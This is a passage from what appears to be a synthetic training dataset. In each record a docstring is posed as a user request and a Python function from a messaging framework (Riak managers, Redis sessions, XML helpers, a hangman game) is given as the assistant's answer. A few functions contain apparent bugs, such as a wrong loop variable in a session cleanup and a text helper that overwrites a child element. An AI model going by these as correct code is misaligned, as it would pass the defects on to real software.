agg_metric, agg_value in aggregates:\n self.publisher.publish_aggregate(agg_metric, ts,\n agg_value)\n del self.buckets[ts_key]\n self._last_ts_key = current_ts_key", "conversation_id": 581, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 582, "message_id": 0 }, { "role": "user", "content": "Builds a request URL with the appropriate params..", "conversation_id": 582, "message_id": 1 }, { "role": "assistant", "content": "def make_request(self, path, qparams):\n args = {\n 'messageid': TransportMessage.generate_id(),\n 'time': self.today.strftime('%Y.%m.%d %H:%M:%S'),\n 'sender': '0041791234567',\n 'destination': '9292',\n 'provider': 'provider',\n 'keyword': '',\n 'header': '',\n 'text': '',\n 'keyword': '',\n }\n args.update(qparams)\n url = self.transport_url + path\n return http_request_full(url, urlencode(args), {\n 'Content-Type': ['application/x-www-form-urlencoded'],\n })", "conversation_id": 582, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 583, "message_id": 0 }, { "role": "user", "content": "Invoke the canned response for the method name ``name`` and log the\ninvocation..", "conversation_id": 583, "message_id": 1 }, { "role": "assistant", "content": "def _invoke_response(self, name, args):\n self.calls.append((name, args))\n return self.responses[name]()", "conversation_id": 583, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 584, "message_id": 0 }, { "role": "user", "content": "Find or create a hangman game for this player.\nThen process the user's message..", "conversation_id": 584, "message_id": 1 }, { "role": "assistant", "content": "def consume_user_message(self, msg):\n content = msg['content'].encode('utf-8') if msg['content'] else None\n log.msg(\"User message: %s\" % content)\n text = msg['content']\n if text is None:\n reply = self.get_help()\n else:\n reply = self.process_message(text)\n return self.reply_to(msg, reply)", "conversation_id": 584, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 585, "message_id": 0 }, { "role": "user", "content": "Copy dynamic field values from old data to new data..", "conversation_id": 585, "message_id": 1 }, { "role": "assistant", "content": "def copy_dynamic_values(self, *dynamic_prefixes):\n for prefix in dynamic_prefixes:\n for key in self.old_data:\n if key.startswith(prefix):\n self.new_data[key] = self.old_data[key]", "conversation_id": 585, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 586, "message_id": 0 }, { "role": "user", "content": "Add a new index value to new data..", "conversation_id": 586, "message_id": 1 }, { "role": "assistant", "content": "def add_index(self, index, value):\n if index is None:\n index = ''\n else:\n index = str(index)\n if isinstance(value, unicode):\n value = value.encode('utf-8')\n self.new_index.setdefault(index, []).append(value)", "conversation_id": 586, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 587, "message_id": 0 }, { "role": "user", "content": "Called when a field value changes..", "conversation_id": 587, "message_id": 1 }, { "role": "assistant", "content": "def _field_changed(self, changed_field_name):\n already_notifying = bool(self._fields_changed)\n if changed_field_name not in self._fields_changed:\n self._fields_changed.append(changed_field_name)\n if not already_notifying:\n self._notify_fields_changed()", "conversation_id": 587, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 588, "message_id": 0 }, { "role": "user", "content": "Save the object to Riak..", "conversation_id": 588, "message_id": 1 }, { "role": "assistant", "content": "def save(self):\n return self.manager.store(self)", "conversation_id": 588, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 589, "message_id": 0 }, { "role": "user", "content": "Delete the object from Riak..", "conversation_id": 589, "message_id": 1 }, { "role": "assistant", "content": "def delete(self):\n return self.manager.delete(self)", "conversation_id": 589, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 590, "message_id": 0 }, { "role": "user", "content": "Load an object from Riak..", "conversation_id": 590, "message_id": 1 }, { "role": "assistant", "content": "def load(cls, manager, key, result=None):\n return manager.load(cls, key, result=result)", "conversation_id": 590, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 591, "message_id": 0 }, { "role": "user", "content": "Load batches of objects for the given list of keys..", "conversation_id": 591, "message_id": 1 }, { "role": "assistant", "content": "def load_all_bunches(cls, manager, keys):\n return manager.load_all_bunches(cls, keys)", "conversation_id": 591, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 592, "message_id": 0 }, { "role": "user", "content": "Find object keys by index..", "conversation_id": 592, "message_id": 1 }, { "role": "assistant", "content": "def index_keys(cls, manager, field_name, value, end_value=None,\n return_terms=None):\n index_name, start_value, end_value = index_vals_for_field(\n cls, field_name, value, end_value)\n return manager.index_keys(\n cls, index_name, start_value, end_value, return_terms=return_terms)", "conversation_id": 592, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 593, "message_id": 0 }, { "role": "user", "content": "Find object keys by index, using pagination..", "conversation_id": 593, "message_id": 1 }, { "role": "assistant", "content": "def index_keys_page(cls, manager, field_name, value, end_value=None,\n return_terms=None, max_results=None,\n continuation=None):\n index_name, start_value, end_value = index_vals_for_field(\n cls, field_name, value, end_value)\n return manager.index_keys_page(\n cls, index_name, start_value, end_value, return_terms=return_terms,\n max_results=max_results, continuation=continuation)", "conversation_id": 593, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 594, "message_id": 0 }, { "role": "user", "content": "Finds objects in the index that match the regex patterns in query.", "conversation_id": 594, "message_id": 1 }, { "role": "assistant", "content": "def index_match(cls, manager, query, field_name, value):\n return manager.mr_from_field_match(cls, query, field_name, value)", "conversation_id": 594, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 595, "message_id": 0 }, { "role": "user", "content": "Search for instances of this model matching keys/values..", "conversation_id": 595, "message_id": 1 }, { "role": "assistant", "content": "def search(cls, manager, **kw):\n for k, value in kw.iteritems():\n value = unicode(value)\n value = value.replace('\\\\', '\\\\\\\\')\n value = value.replace(\"'\", \"\\\\'\")\n kw[k] = value\n query = \" AND \".join(\"%s:'%s'\" % (k, v) for k, v in kw.iteritems())\n return cls.raw_search(manager, query)", "conversation_id": 595, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 596, "message_id": 0 }, { "role": "user", "content": "Performs a raw riak search, does no inspection on the given query..", "conversation_id": 596, "message_id": 1 }, { "role": "assistant", "content": "def raw_search(cls, manager, query):\n return manager.mr_from_search(cls, query)", "conversation_id": 596, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 597, "message_id": 0 }, { "role": "user", "content": "Performs a real riak search, does no inspection on the given query..", "conversation_id": 597, "message_id": 1 }, { "role": "assistant", "content": "def real_search(cls, manager, query, rows=None, start=None):\n return manager.real_search(cls, query, rows=rows, start=start)", "conversation_id": 597, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 598, "message_id": 0 }, { "role": "user", "content": "Do a regex OR search across the keys found in a secondary index..", "conversation_id": 598, "message_id": 1 }, { "role": "assistant", "content": "def from_index_match(cls, mgr, model, query, index_name, start_value,\n end_value=None):\n mr = mgr.riak_map_reduce().index(\n mgr.bucket_name(model), index_name, start_value, end_value).map(\n \"\"\"\n function(value, keyData, arg) {\n /*\n skip deleted values, might show up during a test\n */\n var values = value.values.filter(function(val) {\n return !val.metadata['X-Riak-Deleted'];\n });\n if(values.length) {\n var data = JSON.parse(values[0].data);\n for (j in arg) {\n var query = arg[j];\n var content = data[query.key];\n var regex = RegExp(query.pattern, query.flags)\n if(content && regex.test(content)) {\n return [value.key];\n }\n }\n }\n return [];\n }\n \"\"\", {\n 'arg': query, \n })\n return cls(mgr, mr)", "conversation_id": 598, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 599, "message_id": 0 }, { "role": "user", "content": "Construct a manager from a dictionary of options..", "conversation_id": 599, "message_id": 1 }, { "role": "assistant", "content": "def from_config(cls, config):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" .from_config(...)\")", "conversation_id": 599, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 600, "message_id": 0 }, { "role": "user", "content": "Close the client underlying this manager instance, if necessary..", "conversation_id": 600, "message_id": 1 }, { "role": "assistant", "content": "def close_manager(self):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" .close_manager(...)\")", "conversation_id": 600, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 601, "message_id": 0 }, { "role": "user", "content": "Load a model instance for the key from Riak.\nIf the key doesn't exist, this method should return None\ninstead of an instance of cls..", "conversation_id": 601, "message_id": 1 }, { "role": "assistant", "content": "def load(self, cls, key, result=None):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" .load(...)\")", "conversation_id": 601, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 602, "message_id": 0 }, { "role": "user", "content": "Migrate a loaded riak_object to the latest schema version.\nNOTE: This should only be called by subclasses..", "conversation_id": 602, "message_id": 1 }, { "role": "assistant", "content": "def _migrate_riak_object(self, modelcls, key, riak_object):\n was_migrated = False\n while riak_object.get_data() is not None:\n data_version = riak_object.get_data().get('$VERSION', None)\n if data_version == modelcls.VERSION:\n obj = modelcls(self, key, _riak_object=riak_object)\n obj.was_migrated = was_migrated\n return obj\n migrator = modelcls.MIGRATOR(modelcls, self, data_version)\n riak_object = migrator(riak_object).get_riak_object()\n was_migrated = True\n return None", "conversation_id": 602, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 603, "message_id": 0 }, { "role": "user", "content": "Migrate a riak_object to the required schema version before storing.\nNOTE: This should only be called by subclasses..", "conversation_id": 603, "message_id": 1 }, { "role": "assistant", "content": "def _reverse_migrate_riak_object(self, modelobj):\n riak_object = modelobj._riak_object\n modelcls = type(modelobj)\n model_name = \"%s.%s\" % (modelcls.__module__, modelcls.__name__)\n store_version = self.store_versions.get(model_name, modelcls.VERSION)\n data_version = riak_object.get_data().get('$VERSION', None)\n while data_version != store_version:\n migrator = modelcls.MIGRATOR(\n modelcls, self, data_version, reverse=True)\n riak_object = migrator(riak_object).get_riak_object()\n data_version = riak_object.get_data().get('$VERSION', None)\n return riak_object", "conversation_id": 603, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 604, "message_id": 0 }, { "role": "user", "content": "Load the model instances for a batch of keys from Riak.\nIf a key doesn't exist, no object will be returned for it..", "conversation_id": 604, "message_id": 1 }, { "role": "assistant", "content": "def _load_multiple(self, cls, keys):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" ._load_multiple(...)\")", "conversation_id": 604, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 605, "message_id": 0 }, { "role": "user", "content": "Load the model instances for a batch of keys from Riak.\nIf a key doesn't exist, no object will be returned for it..", "conversation_id": 605, "message_id": 1 }, { "role": "assistant", "content": "def _load_bunch_mapreduce(self, model, keys):\n mr = self.mr_from_keys(model, keys)\n mr._riak_mapreduce_obj.map(function=\"\"\"\n function (v) {\n values = v.values.filter(function(val) {\n return !val.metadata['X-Riak-Deleted'];\n })\n if (!values.length) {\n return [];\n }\n return [[v.key, values[0]]]\n }\n \"\"\").filter_not_found()\n return self.run_map_reduce(\n mr._riak_mapreduce_obj, lambda mgr, obj: model.load(mgr, *obj))", "conversation_id": 605, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 606, "message_id": 0 }, { "role": "user", "content": "Load the model instances for a batch of keys from Riak.\nIf a key doesn't exist, no object will be returned for it..", "conversation_id": 606, "message_id": 1 }, { "role": "assistant", "content": "def _load_bunch(self, model, keys):\n assert len(keys) <= self.load_bunch_size\n if not keys:\n return []\n if self.USE_MAPREDUCE_BUNCH_LOADING:\n return self._load_bunch_mapreduce(model, keys)\n else:\n return self._load_multiple(model, keys)", "conversation_id": 606, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 607, "message_id": 0 }, { "role": "user", "content": "Load batches of model instances for a list of keys from Riak..", "conversation_id": 607, "message_id": 1 }, { "role": "assistant", "content": "def load_all_bunches(self, model, keys):\n while keys:\n batch_keys = keys[:self.load_bunch_size]\n keys = keys[self.load_bunch_size:]\n yield self._load_bunch(model, batch_keys)", "conversation_id": 607, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 608, "message_id": 0 }, { "role": "user", "content": "Run a map reduce instance and return the results mapped to\nobjects by the map_function..", "conversation_id": 608, "message_id": 1 }, { "role": "assistant", "content": "def run_map_reduce(self, mapreduce, mapper_func=None, reducer_func=None):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" .run_map_reduce(...)\")", "conversation_id": 608, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 609, "message_id": 0 }, { "role": "user", "content": "Delete *ALL* keys in buckets whose names start buckets with\nthis manager's bucket prefix.\n\nUse only in tests..", "conversation_id": 609, "message_id": 1 }, { "role": "assistant", "content": "def purge_all(self):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" .purge_all()\")", "conversation_id": 609, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 610, "message_id": 0 }, { "role": "user", "content": "Create a worker factory, connect to AMQP and return the factory.\nReturn value is the AmqpFactory instance containing the worker..", "conversation_id": 610, "message_id": 1 }, { "role": "assistant", "content": "def create_worker(self, worker_class, config, timeout=30,\n bindAddress=None):\n return self.create_worker_by_class(\n load_class_by_string(worker_class), config, timeout=timeout,\n bindAddress=bindAddress)", "conversation_id": 610, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 611, "message_id": 0 }, { "role": "user", "content": "Return a list of active user_ids and associated sessions. Loops over\nknown active_sessions, some of which might have auto expired.\nImplements lazy garbage collection, for each entry it checks if\nthe user's session still exists, if not it is removed from the set..", "conversation_id": 611, "message_id": 1 }, { "role": "assistant", "content": "def active_sessions(self):\n skey = self.r_key('active_sessions')\n sessions_to_expire = []\n for user_id in self.r_server.smembers(skey):\n ukey = self.r_key('session', user_id)\n if self.r_server.exists(ukey):\n yield user_id, self.load_session(user_id)\n else:\n sessions_to_expire.append(user_id)\n for user_ids in sessions_to_expire:\n self.r_server.srem(skey, user_id)", "conversation_id": 611, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 612, "message_id": 0 }, { "role": "user", "content": "Generate a keyname using this workers prefix.", "conversation_id": 612, "message_id": 1 }, { "role": "assistant", "content": "def r_key(self, *args):\n parts = [self.r_prefix]\n parts.extend(args)\n return \":\".join(parts)", "conversation_id": 612, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 613, "message_id": 0 }, { "role": "user", "content": "Schedule a session to timeout\nParameters\n\nuser_id : str\nThe user's id.\ntimeout : int\nThe number of seconds after which this session should expire.", "conversation_id": 613, "message_id": 1 }, { "role": "assistant", "content": "def schedule_session_expiry(self, user_id, timeout):\n ukey = self.r_key('session', user_id)\n self.r_server.expire(ukey, timeout)", "conversation_id": 613, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 614, "message_id": 0 }, { "role": "user", "content": "Create a new session using the given user_id.", "conversation_id": 614, "message_id": 1 }, { "role": "assistant", "content": "def create_session(self, user_id, **kwargs):\n defaults = {\n 'created_at': time.time()\n }\n defaults.update(kwargs)\n self.save_session(user_id, defaults)\n if self.max_session_length:\n self.schedule_session_expiry(user_id, self.max_session_length)\n return self.load_session(user_id)", "conversation_id": 614, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 615, "message_id": 0 }, { "role": "user", "content": "Save a session\nParameters\n\nuser_id : str\nThe user's id.\nsession : dict\nThe session info, nested dictionaries are not supported. Any\nvalues that are dictionaries are converted to strings by Redis..", "conversation_id": 615, "message_id": 1 }, { "role": "assistant", "content": "def save_session(self, user_id, session):\n ukey = self.r_key('session', user_id)\n for s_key, s_value in session.items():\n self.r_server.hset(ukey, s_key, s_value)\n skey = self.r_key('active_sessions')\n self.r_server.sadd(skey, user_id)\n return session", "conversation_id": 615, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 616, "message_id": 0 }, { "role": "user", "content": "Construct a unique scheduled key..", "conversation_id": 616, "message_id": 1 }, { "role": "assistant", "content": "def scheduled_key(self):\n timestamp = datetime.utcnow()\n unique_id = uuid4().get_hex()\n timestamp = timestamp.isoformat().split('.')[0]\n return self.r_key(\".\".join((\"scheduled\", timestamp, unique_id)))", "conversation_id": 616, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 617, "message_id": 0 }, { "role": "user", "content": "Return a list of active user_ids and associated sessions.\nQueries redis for keys starting with the session key prefix. This is\nO(n) over the total number of keys in redis, but this is still pretty\nquick even for millions of keys. Try not to hit this too often, though..", "conversation_id": 617, "message_id": 1 }, { "role": "assistant", "content": "def active_sessions(self):\n keys = yield self.redis.keys('session:*')\n sessions = []\n for user_id in [key.split(':', 1)[1] for key in keys]:\n sessions.append((user_id, (yield self.load_session(user_id))))\n returnValue(sessions)", "conversation_id": 617, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 618, "message_id": 0 }, { "role": "user", "content": "Schedule a session to timeout\nParameters\n\nuser_id : str\nThe user's id.\ntimeout : int\nThe number of seconds after which this session should expire.", "conversation_id": 618, "message_id": 1 }, { "role": "assistant", "content": "def schedule_session_expiry(self, user_id, timeout):\n ukey = \"%s:%s\" % ('session', user_id)\n return self.redis.expire(ukey, timeout)", "conversation_id": 618, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 619, "message_id": 0 }, { "role": "user", "content": "Create a new session using the given user_id.", "conversation_id": 619, "message_id": 1 }, { "role": "assistant", "content": "def create_session(self, user_id, **kwargs):\n yield self.clear_session(user_id)\n defaults = {\n 'created_at': time.time()\n }\n defaults.update(kwargs)\n yield self.save_session(user_id, defaults)\n if self.max_session_length:\n yield self.schedule_session_expiry(user_id,\n int(self.max_session_length))\n returnValue((yield self.load_session(user_id)))", "conversation_id": 619, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 620, "message_id": 0 }, { "role": "user", "content": "Save a session\nParameters\n\nuser_id : str\nThe user's id.\nsession : dict\nThe session info, nested dictionaries are not supported. Any\nvalues that are dictionaries are converted to strings by Redis..", "conversation_id": 620, "message_id": 1 }, { "role": "assistant", "content": "def save_session(self, user_id, session):\n ukey = \"%s:%s\" % ('session', user_id)\n for s_key, s_value in session.items():\n yield self.redis.hset(ukey, s_key, s_value)\n returnValue(session)", "conversation_id": 620, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 621, "message_id": 0 }, { "role": "user", "content": "Application-specific config validation happens in here.\nSubclasses may override this method to perform extra config\nvalidation..", "conversation_id": 621, "message_id": 1 }, { "role": "assistant", "content": "def validate_config(self):\n pass", "conversation_id": 621, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 622, "message_id": 0 }, { "role": "user", "content": "Create an ElementTree element.\nThe element tag name will be this qualified name's\n`QualifiedName.text` value..", "conversation_id": 622, "message_id": 1 }, { "role": "assistant", "content": "def element(self, *children, **attrib):\n return Element(self.text, *children, **attrib)", "conversation_id": 622, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 623, "message_id": 0 }, { "role": "user", "content": "Add children to an element..", "conversation_id": 623, "message_id": 1 }, { "role": "assistant", "content": "def _add_children(self, elem, children):\n for child in children:\n self._handle_child(elem, child)", "conversation_id": 623, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 624, "message_id": 0 }, { "role": "user", "content": "Set XML attributes on an element..", "conversation_id": 624, "message_id": 1 }, { "role": "assistant", "content": "def _set_attributes(self, elem, attrib):\n for k, v in attrib.items():\n elem.set(k, v)", "conversation_id": 624, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 625, "message_id": 0 }, { "role": "user", "content": "Add text content to an element..", "conversation_id": 625, "message_id": 1 }, { "role": "assistant", "content": "def _add_text(self, elem, text):\n if len(elem):\n elem[-1] = (elem[-1].tail or '') + text\n else:\n elem.text = (elem.text or '') + text", "conversation_id": 625, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 626, "message_id": 0 }, { "role": "user", "content": "Add a child element to a parent element.\nChild elements can be any of the following..", "conversation_id": 626, "message_id": 1 }, { "role": "assistant", "content": "def _handle_child(self, parent, child):\n if callable(child):\n child = child()\n t = self._typemap.get(type(child))\n if t is None:\n if etree.iselement(child):\n parent.append(child)\n return\n raise TypeError('Unknown child type: %r' % (child,))\n v = t(parent, child)\n if v is not None:\n self._handle_child(parent, v)", "conversation_id": 626, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 627, "message_id": 0 }, { "role": "user", "content": "Split a fully qualified element name, in Clark's notation, into its URI and\nlocal name components..", "conversation_id": 627, "message_id": 1 }, { "role": "assistant", "content": "def split_qualified(fqname):\n if fqname and fqname[0] == '{':\n return tuple(fqname[1:].split('}'))\n return None, fqname", "conversation_id": 627, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 628, "message_id": 0 }, { "role": "user", "content": "Convert an ElementTree element into a dictionary structure.\nText content is stored against a special key, ``#text``, unless the element\ncontains only text and no attributes.\n\nAttributes are converted into dictionaries of the attribute name, prefixed\nwith ``@``, keyed against the attribute value, which are keyed against the\nroot element's name.\n\nChild elements are recursively turned into dictionaries. Child elements\nwith the same name are coalesced into a ``list``..", "conversation_id": 628, "message_id": 1 }, { "role": "assistant", "content": "def element_to_dict(root):\n d = {root.tag: {} if root.attrib else None}\n children = root.getchildren()\n if children:\n dd = defaultdict(list)\n for child_dict in map(element_to_dict, children):\n for k, v in child_dict.iteritems():\n dd[k].append(v)\n d = {root.tag: dict((k, v[0] if len(v) == 1 else v)\n for k, v in dd.iteritems())}\n if root.attrib:\n d[root.tag].update(\n ('@' + str(k), v) for k, v in root.attrib.iteritems())\n if root.text:\n text = root.text.strip()\n if children or root.attrib:\n if text:\n d[root.tag]['#text'] = text\n else:\n d[root.tag] = text\n return d", "conversation_id": 628, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 629, "message_id": 0 }, { "role": "user", "content": "Clean-up of setup done in setup_transport should happen here..", "conversation_id": 629, "message_id": 1 }, { "role": "assistant", "content": "def teardown_transport(self):\n pass", "conversation_id": 629, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 630, "message_id": 0 }, { "role": "user", "content": "Publish a :class:`TransportUserMessage` message.\nSome default parameters are handled, so subclasses don't have\nto provide a lot of boilerplate..", "conversation_id": 630, "message_id": 1 }, { "role": "assistant", "content": "def publish_message(self, **kw):\n kw.setdefault('transport_name', self.transport_name)\n kw.setdefault('transport_metadata', {})\n msg = TransportUserMessage(**kw)\n return self.connectors[self.transport_name].publish_inbound(msg)", "conversation_id": 630, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 631, "message_id": 0 }, { "role": "user", "content": "Publish a :class:`TransportEvent` message.\nSome default parameters are handled, so subclasses don't have\nto provide a lot of boilerplate..", "conversation_id": 631, "message_id": 1 }, { "role": "assistant", "content": "def publish_event(self, **kw):\n kw.setdefault('transport_name', self.transport_name)\n kw.setdefault('transport_metadata', {})\n event = TransportEvent(**kw)\n return self.connectors[self.transport_name].publish_event(event)", "conversation_id": 631, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 632, "message_id": 0 }, { "role": "user", "content": "Helper method for publishing a status message..", "conversation_id": 632, "message_id": 1 }, { "role": "assistant", "content": "def publish_status(self, **kw):\n msg = TransportStatus(**kw)\n if self._should_publish_status:\n conn = self.connectors[self.status_connector_name]\n return conn.publish_status(msg)\n else:\n self.log.debug(\n 'Status publishing disabled for transport %r, ignoring '\n 'status %r' % (self.transport_name, msg))\n return succeed(msg)", "conversation_id": 632, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 633, "message_id": 0 }, { "role": "user", "content": "This must be overridden to read outbound messages and do the right\nthing with them..", "conversation_id": 633, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound_message(self, message):\n raise NotImplementedError()", "conversation_id": 633, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 634, "message_id": 0 }, { "role": "user", "content": "Emulate an inbound message from SMSSync on an Android phone..", "conversation_id": 634, "message_id": 1 }, { "role": "assistant", "content": "def smssync_inbound(self, content, from_addr='123', to_addr='555',\n timestamp=None, message_id='1', secret=None):\n msginfo = self.default_msginfo()\n if timestamp is None:\n timestamp = datetime.datetime.utcnow()\n if hasattr(timestamp, 'strftime'):\n timestamp = timestamp.strftime(\"%m-%d-%y %H:%M\")\n if secret is None:\n secret = msginfo.smssync_secret\n params = {\n 'sent_to': to_addr,\n 'from': from_addr,\n 'message': content,\n 'sent_timestamp': timestamp,\n 'message_id': message_id,\n 'secret': secret,\n }\n return self.smssync_call(params, method='POST')", "conversation_id": 634, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 635, "message_id": 0 }, { "role": "user", "content": "Return the game state as a dict..", "conversation_id": 635, "message_id": 1 }, { "role": "assistant", "content": "def state(self):\n return {\n 'guesses': u\"\".join(sorted(self.guesses)),\n 'word': self.word,\n 'msg': self.msg,\n }", "conversation_id": 635, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 636, "message_id": 0 }, { "role": "user", "content": "Handle an user input string.\nParameters\n\nmessage : unicode\nMessage received from user..", "conversation_id": 636, "message_id": 1 }, { "role": "assistant", "content": "def event(self, message):\n message = message.lower()\n if not message:\n self.msg = u\"Some input required please.\"\n elif len(message) > 1:\n self.msg = u\"Single characters only please.\"\n elif message == '0':\n self.exit_code = self.DONE\n self.msg = u\"Game ended.\"\n elif self.won():\n self.exit_code = self.DONE_WANTS_NEW\n elif message not in string.lowercase:\n self.msg = u\"Letters of the alphabet only please.\"\n elif message in self.guesses:\n self.msg = u\"You've already guessed '%s'.\" % (message,)\n else:\n assert len(message) == 1\n self.guesses.add(message)\n log.msg(\"Message: %r, word: %r\" % (message, self.word))\n if message in self.word:\n self.msg = u\"Word contains at least one '%s'! :D\" % (message,)\n else:\n self.msg = u\"Word contains no '%s'. :(\" % (message,)\n if self.won():\n self.msg = self.victory_message()", "conversation_id": 636, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 637, "message_id": 0 }, { "role": "user", "content": "Fetch a game for the given user ID..", "conversation_id": 637, "message_id": 1 }, { "role": "assistant", "content": "def load_game(self, msisdn):\n game_key = self.game_key(msisdn)\n state = yield self.session_manager.load_session(game_key)\n if state:\n game = HangmanGame.from_state(state)\n else:\n game = None\n returnValue(game)", "conversation_id": 637, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 638, "message_id": 0 }, { "role": "user", "content": "Create a new game for the given user ID..", "conversation_id": 638, "message_id": 1 }, { "role": "assistant", "content": "def new_game(self, msisdn, random_word_url):\n word = yield self.random_word(random_word_url)\n word = word.strip().lower()\n game = HangmanGame(word)\n game_key = self.game_key(msisdn)\n yield self.session_manager.create_session(game_key, **game.state())\n returnValue(game)", "conversation_id": 638, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 639, "message_id": 0 }, { "role": "user", 